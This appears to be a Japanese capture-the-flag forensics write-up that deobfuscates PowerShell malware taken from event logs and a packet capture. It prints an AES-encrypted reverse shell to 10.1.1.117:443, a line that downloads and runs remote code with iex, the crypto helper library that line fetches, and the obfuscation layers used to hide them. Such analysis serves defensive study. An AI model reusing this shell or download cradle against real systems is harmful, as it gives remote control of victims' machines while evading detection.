${a} = &('SH') "a";
${C} = &("{1}{0}{2}" -f 'ew-Objec','N','t') ("{1}{0}{2}{7}{6}{3}{5}{4}" -f'Soc','System.Net.','ket','CPCli','t','en','.T','s')(("{0}{1}{2}"-f '1','0.1.1.11','7'),443);
${S} = ${C}.("{1}{0}"-f 'am','GetStre').Invoke();
[byte[]]${B} = 0..2048|&('%'){0};
while ((${i} = ${S}.("{1}{0}"-f 'd','Rea').Invoke(${B}, 0, ${b}."l`en`gTH")) -ne 0) {;
${b2} = ${B}[0..(${i}-1)];
${D} = .('D') ${a} ${B2};
${d} = (.("{2}{1}{0}"-f 't','bjec','New-O') -TypeName ("{1}{0}{3}{4}{2}" -f 'stem.','Sy','Encoding','Text.A','SCII'))."GEt`Str`INg"(${d},0, ${D}."le`NG`Th");
${sB} = (&("{1}{0}" -f 'eX','I') ${D} 2>&1 | .("{0}{1}{2}"-f'Out-','Str','ing') );
${S`B} = ${s`B} + 'PS ' + (.("{0}{1}"-f 'pw','d'))."pA`TH" + '> ';
${S`BY} = ( (&("{3}{1}{2}{0}"-f 'eM','Hildi','T','GeT-c') ("{3}{2}{1}{0}"-f':Fyo2','bLe','RIA','va') )."VAl`UE"::"aS`CiI").("{1}{2}{0}" -f'ytes','Get','B').Invoke(${sb});
${S`BY} = &('E') ${a} ${S`By};
${S}.("{0}{1}"-f'Wr','ite').Invoke(${S`BY},0,${s`BY}."l`EngtH");
${S}.("{1}{0}" -f'sh','Flu').Invoke();
${b} = 0..2048|.('%'){0};
};
${S}.("{1}{0}"-f 'ose','Cl').Invoke();
${c}.("{1}{0}"-f'ose','Cl').Invoke();
. "sEt-ItEm" ("VAriabLE:Fyo2") ([type]("TExt.EnCoding"));
. "iEx"(."New-Object" "Net.WebClient")."downloadString".Invoke("http://10.1.1.117/lib");
${a} = &('SH') "a";
${C} = &("New-Object") ("System.Net.Sockets.TCPClient") ("10.1.1.117", 443)
${S} = ${C}.("GetStream").Invoke();
[byte[]]${B} = 0..2048|&('%'){0};
while ((${i} = ${S}.("Read").Invoke(${B}, 0, "lengTH")) -ne 0) {
${b2} = ${B}[0..(${i}-1)];
${D} = .('D') ${a} ${B2};
${d} = (.("New-Object") -TypeName ("System.Text.ASCIIEncoding"))."GEtStrINg"(${d}, 0, ${D}."leNGTh");
${sB} = (&("Iex") ${D} 2>&1 | .("Out-String"));
${sB} = ${sB} + 'PS ' + (.("pwd"))."pATH" + '> '
${S`BY} = ((&("GeT-cHildiTeM") ("vaRIAbLe:Fyo2"))."VAlUE"::"aSCiI").("GetBytes").Invoke(${sB});
${S`BY} = &('E') ${a} ${S`By};
${S}.("Write").Invoke(${S`BY}, 0, ${s`BY}."lEngtH");
${S}.("Flush").Invoke();
${b} = 0..2048|.('%'){0};
};
${S}.("Close").Invoke();
${c}.("Close").Invoke();
これでここまでの難読化は解除できたけど,二行目で http://10.1.1.117/lib から得た文字列を実行していて,三行目では SH
という知らない関数が実行されているので,Wireshark で traffic.pcap
を見ると,先頭のストリームに同じように難読化されたコードがある.
$rt8Z2Q= [char[ ] ] " ) )43]rAhc[,)77]rAhc[+201]rAhc[+17]rAhc[( ecaLpERc-63]rAhc[,)05]rAhc[+221]rAhc[+601]rAhc[( ECaLpER-93]rAhc[,'TRB'ECaLpER- 69]rAhc[,'spo'ECaLpER- )'} ;}SEtYbDeTspopspoYrcspoe'+'D{2zj nruter ;)'+'(ekovnI.)TRBesTRB,TRBopsiDTRB f- MfG}1{}'+'0{MfG(.}deGsp'+'oANAspoMsEA{2zj ;)61 - M'+'fGHTGspoNeLMfG.}AtAspod{2z'+'j ,61 ,}'+'AtAspoD{2zj(ekovnI.)TRBkcolBlani'+'FmrTRB,TRBsnaTRB,TR'+'BofTRB,'+'TRBrTTRBf- MfG}3{}1{}2{}0{MfG(.}roTPYRspoCspoED{2zj = }SEtyspobDetpYspoRCspoeD{2zj ;)'+'(ekovnI.)TRBCTR'+'B,TRBpyTRB,TRBrceDetaerTRB,TRBrotTRBf-MfG}0{}2{}1{}3{MfG(.}DeGspoanaMspoSspoea{2zj = }Ro'+'TpspoYRspoCespoD{2zj ;]51..0[}aTAspoD{2z'+'j = MfGVspoIMfG.'+'}dEG'+'spoANspoAmSE'+'a{2zj ;}YespoK{2zj = MfGyespoKMfG.}DespogANspoAmsposEa{2zj ;MfGcBspocMfG::zT81p2zj = MfGedspoomMfG.}DEganAspomspoSeA{2zj ;)TRBhpargotpyrTRB,TRB.TRB,TRBCTRB,TRBdeganaMTRB,TRBseA'+'.yTRB,TRB.'+'metTRB,TRBytiruceSTRB,TRBSTRB,TRBsyTRBf-MfG}5{}4{}8{}6{}7{}2{}3{}0'+'{}1{MfG( )TRBNTRB,TRBejbO-weTRB,TRB'+'t'+'cTRB f-MfG}0{'+'}1{}2{M'+'fG(. = }despo'+'gspoAnaMSEspoa{2zj ;{ )}at'+'Aspod{2zj ,}yespoK{2zj(D noitcnuf'+' ;};}SeTYBdspoeTPY'+'sporCNE{2zj nruter ;)(ekovnI.)TRBopsiTRB,TRBesTRB,'+'TRBDTRBf-MfG}1{}2{}0{MfG(.}DeGAsponAspoMSea{2zj ;}sEspoTyspobdEspoTPYsporcNe{2zj + MfGVspoIMfG.}DEgANamsposspoEspoa{2zj = }SespoTspoYbdspoeTspoPYRcNE{2zj ;)MfGHTsp'+'ognelMfG.}AtAspod{2zj ,0 ,}ATAsp'+'od{2zj(ek'+'ovn'+'I.)TRBlaniFmrofsTRB,TRBnTRB,TRBkcolBTRB,TRBa'+'rTTRBf-MfG}1{}3{}2{}0{MfG(.}roTspoPspoyrcNe{2zj = }sespotybdETpyRcNspoE{2zj ;)(ekovnI.)TRBroTRB,TRBaerTRB,TRBCTRB,TRBpyrcnEetTRB,TRBtTRB f- MfG}4{}0{}1{}3{}2{M'+'fG(.}DeGAs'+'poNspoaMsEspoA{2zj = }rOTspopyspoRcNE'+'{2zj ;}YEspoK{2zj = MfGyEspoKMfG.}DeGAs'+'poNspoamsposeA{2zj'+' ;Mf'+'GcBspoCMfG'+'::ZT81P2zj = MfGEdOspomMfG.}DeGANamsposspoea{2zj ;'+' ;)TRBA.'+'yh'+'pTRB,TRBaMsTRB,TRBgoTRB'+',TRBarTRB,TRBeTRB,TRBanTRB,TRBdegTRB,TRBruceS.metsySTRB,TRB'+'tpyrC.ytiTR'+'Bf-'+' MfG}2{}3{}7{}4'+'{}8{}5{'+'}6{}0{}1{MfG( )TRBtcejb'+'O-TRB,TRBeNTRB,TRBwTRB f-MfG}2{}0{}1{MfG(. = }DeGa'+'NspoAspomsespoA{2zj ;{ )}ATspoaD{2zj ,}Y'+'espok{2zj(E noitcnuf ;'+'} ;}h{2zj nrute'+'r'+';)(ekovnI.)TRBDTRB,TRBiTRB,TRBesopsTRBf-MfG}0{}1{}2{MfG(.}dEgspoAspoNspoAmaHS{2zj ;))}s{2zj(e'+'kovnI.)TRBetyBteGTRB,TR'+'BsTRB f-MfG}0{}1{MfG(.MfG8FspotuMfG::eULav.) RxT5i9:ElbAIrAV mEtI ( (MfGhSahespoTspoupMOspoCMfG.}dEspoganamspoAhs{2zj = }H{2zj;)TRBcTR'+'B,TRB'+'HS.yTRB,TRBmetsySTRB,TRBeS.T'+'RB,TRBrTR'+'B,TRB652ATRB,TR'+'BhpargotpyrC.ytTRB,TRBiTRB,TRBdeganaMTRB,TRBuTRB f-'+' MfG}1{}4{}'+'8{}3{}2{}5{}0{}9{}6{}7{MfG( )TRBNTRB,TRBcejbO-'+'weTRB,'+'TRBtTRBf- MfG}0{}1{}2{MfG(. = }deGaNspo'+'aMspoahs{2zj ;{)}s{2zj(Hspos noitcnuf ; ))TRBoMTRB,TRBSTR'+'B,TRBhTRB,TRBysTR'+'B,TRBhpTRB,TRBrc.YtIRUceS.meTTRB,TRBEDTRB,TR'+'BpyTRB,TRBreTRB,TRBPi'+'TRB,TRBc.yTRB,TRBar'+'gotTRB f-MfG}5{}11{}3{}9{}2{}1{}7{}0{}4{}6{}01{}8{MfG'+'(]EPyt[( zt81p:ELbaIRAV MEtI-tEs ; '+')TRBST'+'RB,TRBE.txEtTRB,TRB.TRB,TRBs'+'yTRB,TRBidoC'+'NTRB,TRBgNTRB,TRBmETTRBF- MfG}1{}2{}5{}4{}0{}3{}6{MfG(]epyt[ =rxt5I92zj '(( ()'X'+]31[DILleHs$+]1[DIlLEhS$ (& "; [arrAY]::REVErSE( $rT8z2q ) ; $rT8z2q-JoiN ''| . ( $PSHoME[4]+$pSHOMe[34]+'X')
通信パケットから得られたスクリプトの難読化解除
"
の外にある ;
で改行.
$rt8Z2Q= [char[ ] ] " ) )43]rAhc[,)77]rAhc[+201]rAhc[+17]rAhc[( ecaLpERc-63]rAhc[,)05]rAhc[+221]rAhc[+601]rAhc[( ECaLpER-93]rAhc[,'TRB'ECaLpER- 69]rAhc[,'spo'ECaLpER- )'} ;}SEtYbDeTspopspoYrcspoe'+'D{2zj nruter ;)'+'(ekovnI.)TRBesTRB,TRBopsiDTRB f- MfG}1{}'+'0{MfG(.}deGsp'+'oANAspoMsEA{2zj ;)61 - M'+'fGHTGspoNeLMfG.}AtAspod{2z'+'j ,61 ,}'+'AtAspoD{2zj(ekovnI.)TRBkcolBlani'+'FmrTRB,TRBsnaTRB,TR'+'BofTRB,'+'TRBrTTRBf- MfG}3{}1{}2{}0{MfG(.}roTPYRspoCspoED{2zj = }SEtyspobDetpYspoRCspoeD{2zj ;)'+'(ekovnI.)TRBCTR'+'B,TRBpyTRB,TRBrceDetaerTRB,TRBrotTRBf-MfG}0{}2{}1{}3{MfG(.}DeGspoanaMspoSspoea{2zj = }Ro'+'TpspoYRspoCespoD{2zj ;]51..0[}aTAspoD{2z'+'j = MfGVspoIMfG.'+'}dEG'+'spoANspoAmSE'+'a{2zj ;}YespoK{2zj = MfGyespoKMfG.}DespogANspoAmsposEa{2zj ;MfGcBspocMfG::zT81p2zj = MfGedspoomMfG.}DEganAspomspoSeA{2zj ;)TRBhpargotpyrTRB,TRB.TRB,TRBCTRB,TRBdeganaMTRB,TRBseA'+'.yTRB,TRB.'+'metTRB,TRBytiruceSTRB,TRBSTRB,TRBsyTRBf-MfG}5{}4{}8{}6{}7{}2{}3{}0'+'{}1{MfG( )TRBNTRB,TRBejbO-weTRB,TRB'+'t'+'cTRB f-MfG}0{'+'}1{}2{M'+'fG(. = }despo'+'gspoAnaMSEspoa{2zj ;{ )}at'+'Aspod{2zj ,}yespoK{2zj(D noitcnuf'+' ;};}SeTYBdspoeTPY'+'sporCNE{2zj nruter ;)(ekovnI.)TRBopsiTRB,TRBesTRB,'+'TRBDTRBf-MfG}1{}2{}0{MfG(.}DeGAsponAspoMSea{2zj ;}sEspoTyspobdEspoTPYsporcNe{2zj + MfGVspoIMfG.}DEgANamsposspoEspoa{2zj = }SespoTspoYbdspoeTspoPYRcNE{2zj ;)MfGHTsp'+'ognelMfG.}AtAspod{2zj ,0 ,}ATAsp'+'od{2zj(ek'+'ovn'+'I.)TRBlaniFmrofsTRB,TRBnTRB,TRBkcolBTRB,TRBa'+'rTTRBf-MfG}1{}3{}2{}0{MfG(.}roTspoPspoyrcNe{2zj = }sespotybdETpyRcNspoE{2zj ;)(ekovnI.)TRBroTRB,TRBaerTRB,TRBCTRB,TRBpyrcnEetTRB,TRBtTRB f- MfG}4{}0{}1{}3{}2{M'+'fG(.}DeGAs'+'poNspoaMsEspoA{2zj = }rOTspopyspoRcNE'+'{2zj ;}YEspoK{2zj = MfGyEspoKMfG.}DeGAs'+'poNspoamsposeA{2zj'+' ;Mf'+'GcBspoCMfG'+'::ZT81P2zj = MfGEdOspomMfG.}DeGANamsposspoea{2zj ;'+' ;)TRBA.'+'yh'+'pTRB,TRBaMsTRB,TRBgoTRB'+',TRBarTRB,TRBeTRB,TRBanTRB,TRBdegTRB,TRBruceS.metsySTRB,TRB'+'tpyrC.ytiTR'+'Bf-'+' MfG}2{}3{}7{}4'+'{}8{}5{'+'}6{}0{}1{MfG( )TRBtcejb'+'O-TRB,TRBeNTRB,TRBwTRB f-MfG}2{}0{}1{MfG(. = }DeGa'+'NspoAspomsespoA{2zj ;{ )}ATspoaD{2zj ,}Y'+'espok{2zj(E noitcnuf ;'+'} ;}h{2zj nrute'+'r'+';)(ekovnI.)TRBDTRB,TRBiTRB,TRBesopsTRBf-MfG}0{}1{}2{MfG(.}dEgspoAspoNspoAmaHS{2zj ;))}s{2zj(e'+'kovnI.)TRBetyBteGTRB,TR'+'BsTRB f-MfG}0{}1{MfG(.MfG8FspotuMfG::eULav.) RxT5i9:ElbAIrAV mEtI ( (MfGhSahespoTspoupMOspoCMfG.}dEspoganamspoAhs{2zj = }H{2zj;)TRBcTR'+'B,TRB'+'HS.yTRB,TRBmetsySTRB,TRBeS.T'+'RB,TRBrTR'+'B,TRB652ATRB,TR'+'BhpargotpyrC.ytTRB,TRBiTRB,TRBdeganaMTRB,TRBuTRB f-'+' MfG}1{}4{}'+'8{}3{}2{}5{}0{}9{}6{}7{MfG( )TRBNTRB,TRBcejbO-'+'weTRB,'+'TRBtTRBf- MfG}0{}1{}2{MfG(. = }deGaNspo'+'aMspoahs{2zj ;{)}s{2zj(Hspos noitcnuf ; ))TRBoMTRB,TRBSTR'+'B,TRBhTRB,TRBysTR'+'B,TRBhpTRB,TRBrc.YtIRUceS.meTTRB,TRBEDTRB,TR'+'BpyTRB,TRBreTRB,TRBPi'+'TRB,TRBc.yTRB,TRBar'+'gotTRB f-MfG}5{}11{}3{}9{}2{}1{}7{}0{}4{}6{}01{}8{MfG'+'(]EPyt[( zt81p:ELbaIRAV MEtI-tEs ; '+')TRBST'+'RB,TRBE.txEtTRB,TRB.TRB,TRBs'+'yTRB,TRBidoC'+'NTRB,TRBgNTRB,TRBmETTRBF- MfG}1{}2{}5{}4{}0{}3{}6{MfG(]epyt[ =rxt5I92zj '(( ()'X'+]31[DILleHs$+]1[DIlLEhS$ (& ";
[arrAY]::REVErSE( $rT8z2q ) ;
$rT8z2q-JoiN ''| . ( $PSHoME[4]+$pSHOMe[34]+'X')
二行目で一行目の文字列を反転して,三行目では |
の後ろが iex
になっているので,反転した文字列が実行される.
文字列を反転させて,実行される部分を抜き出す.
&( $ShELlID[1]+$sHelLID[13]+'X')( ((' jz29I5txr= [type](GfM{6}{3}{0}{4}{5}{2}{1}GfM -FBRTTEmBRT,BRTNgBRT,BRTN'+'CodiBRT,BRTy'+'sBRT,BRT.BRT,BRTtExt.EBRT,BR'+'TSBRT)'+' ; sEt-ItEM VARIabLE:p18tz ([tyPE]('+'GfM{8}{10}{6}{4}{0}{7}{1}{2}{9}{3}{11}{5}GfM-f BRTtog'+'raBRT,BRTy.cBRT,BRT'+'iPBRT,BRTerBRT,BRTypB'+'RT,BRTDEBRT,BRTTem.SecURItY.crBRT,BRTphBRT,B'+'RTsyBRT,BRThBRT,B'+'RTSBRT,BRTMoBRT)) ; function sopsH(jz2{s}){; jz2{shaopsMa'+'opsNaGed} = .(GfM{2}{1}{0}GfM -fBRTtBRT'+',BRTew'+'-ObjecBRT,BRTNBRT) (GfM{7}{6}{9}{0}{5}{2}{3}{8'+'}{4}{1}GfM '+'-f BRTuBRT,BRTManagedBRT,BRTiBRT,BRTty.CryptographB'+'RT,BRTA256BRT,B'+'RTrBRT,BR'+'T.SeBRT,BRTSystemBRT,BRTy.SH'+'BRT,B'+'RTcBRT);jz2{H} = jz2{shAopsmanagopsEd}.GfMCopsOMpuopsTopsehaShGfM( ( ItEm VArIAblE:9i5TxR ).vaLUe::GfMutopsF8GfM.(GfM{1}{0}GfM-f BRTsB'+'RT,BRTGetByteBRT).Invok'+'e(jz2{s})); jz2{SHamAopsNopsAopsgEd}.(GfM{2}{1}{0}GfM-fBRTsposeBRT,BRTiBRT,BRTDBRT).Invoke();'+'r'+'eturn jz2{h}; }'+'; function E(jz2{kopse'+'Y}, jz2{DaopsTA}) {; jz2{AopsesmopsAopsN'+'aGeD} = .(GfM{1}{0}{2}GfM-f BRTwBRT,BRTNeBRT,BRT-O'+'bjectBRT) (GfM{1}{0}{6}'+'{5}{8}{'+'4}{7}{3}{2}GfM '+'-fB'+'RTity.Crypt'+'BRT,BRTSystem.SecurBRT,BRTgedBRT,BRTnaBRT,BRTeBRT,BRTraBRT,'+'BRTogBRT,BRTsMaBRT,BRTp'+'hy'+'.ABRT); '+'; jz2{aeopssopsmaNAGeD}.GfMmopsOdEGfM = jz2P18TZ::'+'GfMCopsBcG'+'fM; '+'jz2{AesopsmaopsNop'+'sAGeD}.GfMKopsEyGfM = jz2{KopsEY}; jz2{'+'ENcRopsypopsTOr} = jz2{AopsEsMaopsNop'+'sAGeD}.(Gf'+'M{2}{3}{1}{0}{4}GfM -f BRTtBRT,BRTteEncrypBRT,BRTCBRT,BRTreaBRT,BRTorBRT).Invoke(); jz2{EopsNcRypTEdbytopses} = jz2{eNcryopsPopsTor}.(GfM{0}{2}{3}{1}GfM-fBRTTr'+'aBRT,BRTBlockBRT,BRTnBRT,BRTsformFinalBRT).I'+'nvo'+'ke(jz2{do'+'psATA}, 0, jz2{dopsAtA}.GfMlengo'+'psTHGfM); jz2{ENcRYPopsTeopsdbYopsTopseS} = jz2{aopsEopssopsmaNAgED}.GfMIopsVGfM + jz2{eNcropsYPTopsEdbopsyTopsEs}; jz2{aeSMopsAnopsAGeD}.(GfM{0}{2}{1}GfM-fBRTDBRT'+',BRTseBRT,BRTispoBRT).Invoke(); return jz2{ENCrops'+'YPTeopsdBYTeS};}; '+'function D(jz2{Kopsey}, jz2{dopsA'+'ta}) {; jz2{aopsESManAopsg'+'opsed} = .(Gf'+'M{2}{1}'+'{0}GfM-f BRTc'+'t'+'BRT,BRTew-ObjeBRT,BRTNBRT) (GfM{1}{'+'0}{3}{2}{7}{6}{8}{4}{5}GfM-fBRTysBRT,BRTSBRT,BRTSecurityBRT,BRTtem'+'.BRT,BRTy.'+'AesBRT,BRTManagedBRT,BRTCBRT,BRT.BRT,BRTryptographBRT); jz2{AeSopsmopsAnagED}.GfMmoopsdeGfM = jz2p18Tz::GfMcopsBcGfM; jz2{aEsopsmAopsNAgopseD}.GfMKopseyGfM = jz2{KopseY}; jz2{a'+'ESmAopsNAops'+'GEd}'+'.GfMIopsVGfM = j'+'z2{DopsATa}[0..15]; jz2{DopseCopsRYopspT'+'oR} = jz2{aeopsSopsManaopsGeD}.(GfM{3}{1}{2}{0}GfM-fBRTtorBRT,BRTreateDecrBRT,BRTypBRT,B'+'RTCBRT).Invoke('+'); jz2{DeopsCRopsYpteDbopsytES} = jz2{DEopsCopsRYPTor}.(GfM{0}{2}{1}{3}GfM -fBRTTrBRT'+',BRTfoB'+'RT,BRTansBRT,BRTrmF'+'inalBlockBRT).Invoke(jz2{DopsAtA'+'}, 16, j'+'z2{dopsAtA}.GfMLeNopsGTHGf'+'M - 16); jz2{AEsMopsANAo'+'psGed}.(GfM{0'+'}{1}GfM -f BRTDispoBRT,BRTseBRT).Invoke('+'); return jz2{D'+'eopscrYopspopsTeDbYtES}; }') -REpLaCE'ops',[chAr]96 -REpLaCE'BRT',[chAr]39-REpLaCE ([chAr]106+[chAr]122+[chAr]50),[chAr]36-cREpLace ([chAr]71+[chAr]102+[chAr]77),[chAr]34) )
$ShELlID[1]+$sHelLID[13]+'X'
が iex
で,最後まで文字列なので抜き出して,文字列の連結 '+'
を削除する.
(' jz29I5txr= [type](GfM{6}{3}{0}{4}{5}{2}{1}GfM -FBRTTEmBRT,BRTNgBRT,BRTNCodiBRT,BRTysBRT,BRT.BRT,BRTtExt.EBRT,BRTSBRT) ; sEt-ItEM VARIabLE:p18tz ([tyPE](GfM{8}{10}{6}{4}{0}{7}{1}{2}{9}{3}{11}{5}GfM-f BRTtograBRT,BRTy.cBRT,BRTiPBRT,BRTerBRT,BRTypBRT,BRTDEBRT,BRTTem.SecURItY.crBRT,BRTphBRT,BRTsyBRT,BRThBRT,BRTSBRT,BRTMoBRT)) ; function sopsH(jz2{s}){; jz2{shaopsMaopsNaGed} = .(GfM{2}{1}{0}GfM -fBRTtBRT,BRTew-ObjecBRT,BRTNBRT) (GfM{7}{6}{9}{0}{5}{2}{3}{8}{4}{1}GfM -f BRTuBRT,BRTManagedBRT,BRTiBRT,BRTty.CryptographBRT,BRTA256BRT,BRTrBRT,BRT.SeBRT,BRTSystemBRT,BRTy.SHBRT,BRTcBRT);jz2{H} = jz2{shAopsmanagopsEd}.GfMCopsOMpuopsTopsehaShGfM( ( ItEm VArIAblE:9i5TxR ).vaLUe::GfMutopsF8GfM.(GfM{1}{0}GfM-f BRTsBRT,BRTGetByteBRT).Invoke(jz2{s})); jz2{SHamAopsNopsAopsgEd}.(GfM{2}{1}{0}GfM-fBRTsposeBRT,BRTiBRT,BRTDBRT).Invoke();return jz2{h}; }; function E(jz2{kopseY}, jz2{DaopsTA}) {; jz2{AopsesmopsAopsNaGeD} = .(GfM{1}{0}{2}GfM-f BRTwBRT,BRTNeBRT,BRT-ObjectBRT) (GfM{1}{0}{6}{5}{8}{4}{7}{3}{2}GfM -fBRTity.CryptBRT,BRTSystem.SecurBRT,BRTgedBRT,BRTnaBRT,BRTeBRT,BRTraBRT,BRTogBRT,BRTsMaBRT,BRTphy.ABRT); ; jz2{aeopssopsmaNAGeD}.GfMmopsOdEGfM = jz2P18TZ::GfMCopsBcGfM; jz2{AesopsmaopsNopsAGeD}.GfMKopsEyGfM = jz2{KopsEY}; jz2{ENcRopsypopsTOr} = jz2{AopsEsMaopsNopsAGeD}.(GfM{2}{3}{1}{0}{4}GfM -f BRTtBRT,BRTteEncrypBRT,BRTCBRT,BRTreaBRT,BRTorBRT).Invoke(); jz2{EopsNcRypTEdbytopses} = jz2{eNcryopsPopsTor}.(GfM{0}{2}{3}{1}GfM-fBRTTraBRT,BRTBlockBRT,BRTnBRT,BRTsformFinalBRT).Invoke(jz2{dopsATA}, 0, jz2{dopsAtA}.GfMlengopsTHGfM); jz2{ENcRYPopsTeopsdbYopsTopseS} = jz2{aopsEopssopsmaNAgED}.GfMIopsVGfM + jz2{eNcropsYPTopsEdbopsyTopsEs}; jz2{aeSMopsAnopsAGeD}.(GfM{0}{2}{1}GfM-fBRTDBRT,BRTseBRT,BRTispoBRT).Invoke(); return jz2{ENCropsYPTeopsdBYTeS};}; function D(jz2{Kopsey}, jz2{dopsAta}) {; jz2{aopsESManAopsgopsed} = .(GfM{2}{1}{0}GfM-f BRTctBRT,BRTew-ObjeBRT,BRTNBRT) (GfM{1}{0}{3}{2}{7}{6}{8}{4}{5}GfM-fBRTysBRT,BRTSBRT,BRTSecurityBRT,BRTtem.BRT,BRTy.AesBRT,BRTManagedBRT,BRTCBRT,BRT.BRT,BRTryptographBRT); jz2{AeSopsmopsAnagED}.GfMmoopsdeGfM = jz2p18Tz::GfMcopsBcGfM; jz2{aEsopsmAopsNAgopseD}.GfMKopseyGfM = jz2{KopseY}; jz2{aESmAopsNAopsGEd}.GfMIopsVGfM = jz2{DopsATa}[0..15]; jz2{DopseCopsRYopspToR} = jz2{aeopsSopsManaopsGeD}.(GfM{3}{1}{2}{0}GfM-fBRTtorBRT,BRTreateDecrBRT,BRTypBRT,BRTCBRT).Invoke(); jz2{DeopsCRopsYpteDbopsytES} = jz2{DEopsCopsRYPTor}.(GfM{0}{2}{1}{3}GfM -fBRTTrBRT,BRTfoBRT,BRTansBRT,BRTrmFinalBlockBRT).Invoke(jz2{DopsAtA}, 16, jz2{dopsAtA}.GfMLeNopsGTHGfM - 16); jz2{AEsMopsANAopsGed}.(GfM{0}{1}GfM -f BRTDispoBRT,BRTseBRT).Invoke(); return jz2{DeopscrYopspopsTeDbYtES}; }') -REpLaCE'ops',[chAr]96 -REpLaCE'BRT',[chAr]39-REpLaCE ([chAr]106+[chAr]122+[chAr]50),[chAr]36-cREpLace ([chAr]71+[chAr]102+[chAr]77),[chAr]34
最後の方に -replace
と -creplace
があるので置換 (-replace
は大文字小文字を区別しない) して ;
で改行して整形する.
import re
s = obfuscated_strings
r = re.compile(r'ops', re.IGNORECASE)
s1 = re.sub(r, chr(96), s)
r = re.compile(r'BRT', re.IGNORECASE)
s2 = re.sub(r, chr(39), s1)
r = re.compile(r'jz2', re.IGNORECASE)
s3 = re.sub(r, chr(36), s2)
s4 = s3.replace('GfM', '"')
print(s4)
$9I5txr= [type]("{6}{3}{0}{4}{5}{2}{1}" -F'TEm','Ng','NCodi','ys','.','tExt.E','S') ;
sEt-ItEM VARIabLE:p18tz ([tyPE]("{8}{10}{6}{4}{0}{7}{1}{2}{9}{3}{11}{5}"-f 'togra','y.c','iP','er','yp','DE','Tem.SecURItY.cr','ph','sy','h','S','Mo')) ;
function s`H(${s}){;
${sha`Ma`NaGed} = .("{2}{1}{0}" -f't','ew-Objec','N') ("{7}{6}{9}{0}{5}{2}{3}{8}{4}{1}" -f 'u','Managed','i','ty.Cryptograph','A256','r','.Se','System','y.SH','c');
${H} = ${shA`manag`Ed}."C`OMpu`T`ehaSh"( ( ItEm VArIAblE:9i5TxR ).vaLUe::"ut`F8".("{1}{0}"-f 's','GetByte').Invoke(${s}));
${SHamA`N`A`gEd}.("{2}{1}{0}"-f'spose','i','D').Invoke();
return ${h};
};
function E(${k`eY}, ${Da`TA}) {;
${A`esm`A`NaGeD} = .("{1}{0}{2}"-f 'w','Ne','-Object') ("{1}{0}{6}{5}{8}{4}{7}{3}{2}" -f'ity.Crypt','System.Secur','ged','na','e','ra','og','sMa','phy.A');
;
${ae`s`maNAGeD}."m`OdE" = $P18TZ::"C`Bc";
${Aes`ma`N`AGeD}."K`Ey" = ${K`EY};
${ENcR`yp`TOr} = ${A`EsMa`N`AGeD}.("{2}{3}{1}{0}{4}" -f 't','teEncryp','C','rea','or').Invoke();
${E`NcRypTEdbyt`es} = ${eNcry`P`Tor}.("{0}{2}{3}{1}"-f'Tra','Block','n','sformFinal').Invoke(${d`ATA}, 0, ${d`AtA}."leng`TH");
${ENcRYP`Te`dbY`T`eS} = ${a`E`s`maNAgED}."I`V" + ${eNcr`YPT`Edb`yT`Es};
${aeSM`An`AGeD}.("{0}{2}{1}"-f'D','se','ispo').Invoke();
return ${ENCr`YPTe`dBYTeS};
};
function D(${K`ey}, ${d`Ata}) {;
${a`ESManA`g`ed} = .("{2}{1}{0}"-f 'ct','ew-Obje','N') ("{1}{0}{3}{2}{7}{6}{8}{4}{5}"-f'ys','S','Security','tem.','y.Aes','Managed','C','.','ryptograph');
${AeS`m`AnagED}."mo`de" = $p18Tz::"c`Bc";
${aEs`mA`NAg`eD}."K`ey" = ${K`eY};
${aESmA`NA`GEd}."I`V" = ${D`ATa}[0..15];
${D`eC`RY`pToR} = ${ae`S`Mana`GeD}.("{3}{1}{2}{0}"-f'tor','reateDecr','yp','C').Invoke();
${De`CR`YpteDb`ytES} = ${DE`C`RYPTor}.("{0}{2}{1}{3}" -f'Tr','fo','ans','rmFinalBlock').Invoke(${D`AtA}, 16, ${d`AtA}."LeN`GTH" - 16);
${AEsM`ANA`Ged}.("{0}{1}" -f 'Dispo','se').Invoke();
return ${De`crY`p`TeDbYtES};
}
文字列を戻して整形する.
$9I5txr = [type]("SysTEm.tExt.ENCodiNg");
sEt-ItEM VARIabLE:p18tz ([tyPE]("sySTem.SecURItY.cryptography.ciPherMoDE"));
function s`H(${s}){;
${sha`Ma`NaGed} = .("New-Object") ("System.Security.Cryptography.SHA256Managed");
${H} = ${shA`manag`Ed}."COMpuTehaSh"((ItEm VArIAblE:9i5TxR).vaLUe::"utF8".("GetBytes").Invoke(${s}));
${SHamA`N`A`gEd}.("Dispose").Invoke();
return ${h};
};
function E(${k`eY}, ${Da`TA}) {;
${A`esm`A`NaGeD} = .("New-Object") ("System.Security.Cryptography.AesManaged");
${ae`s`maNAGeD}."m`OdE" = $P18TZ::"CBc";
${Aes`ma`N`AGeD}."K`Ey" = ${K`EY};
${ENcR`yp`TOr} = ${A`EsMa`N`AGeD}.("CreateEncryptor").Invoke();
${E`NcRypTEdbyt`es} = ${eNcry`P`Tor}.("TransformFinalBlock").Invoke(${d`ATA}, 0, ${d`AtA}."lengTH");
${ENcRYP`Te`dbY`T`eS} = ${a`E`s`maNAgED}."IV" + ${eNcr`YPT`Edb`yT`Es};
${aeSM`An`AGeD}.("Dispose").Invoke();
return ${ENCr`YPTe`dBYTeS};
};
function D(${K`ey}, ${d`Ata}) {;
${a`ESManA`g`ed} = .("New-Object") ("System.Security.Cryptography.AesManaged");
${AeS`m`AnagED}."mo`de" = $p18Tz::"c`Bc";
${aEs`mA`NAg`eD}."K`ey" = ${K`eY};
${aESmA`NA`GEd}."I`V" = ${D`ATa}[0..15];
${D`eC`RY`pToR} = ${ae`S`Mana`GeD}.("CreateDecryptor").Invoke();
${De`CR`YpteDb`ytES} = ${DE`C`RYPTor}.("TransformFinalBlock").Invoke(${D`AtA}, 16, ${d`AtA}."LeNGTH" - 16);
${AEsM`ANA`Ged}.("Dispose").Invoke();
return ${De`crY`p`TeDbYtES};
}
これでイベントログから得られたスクリプトの
. "iEx"(."New-Object" "Net.WebClient")."downloadString".Invoke("http://10.1.1.117/lib");
で何をしているか (以下の三つの関数を定義している) わかる.
- 関数
SH
は引数の SHA256 のハッシュ値を返す. - 関数
E
は鍵とデータを引数にとって,AES の CBC モードで暗号化している. - 関数
D
は鍵とデータを引数にとって,AES の CBC モードで復号している.
変数 $a
には SHA256('a')
が入るので PowerShell で走らせたりして配列を得る.
四行目以降は "10.1.1.117", 443
から受け取ったデータを $a
を鍵として復号して実行し,その出力を同じように暗号化して送信する処理を繰り返している.
ここでやり取りした内容を復号する.
Wireshark でポート番号が 443 とあるパケットを選択して [Follow] -> [TCP Stream] を選択して,下の [Show data as] で [C Arrays] を選択してコピペする.
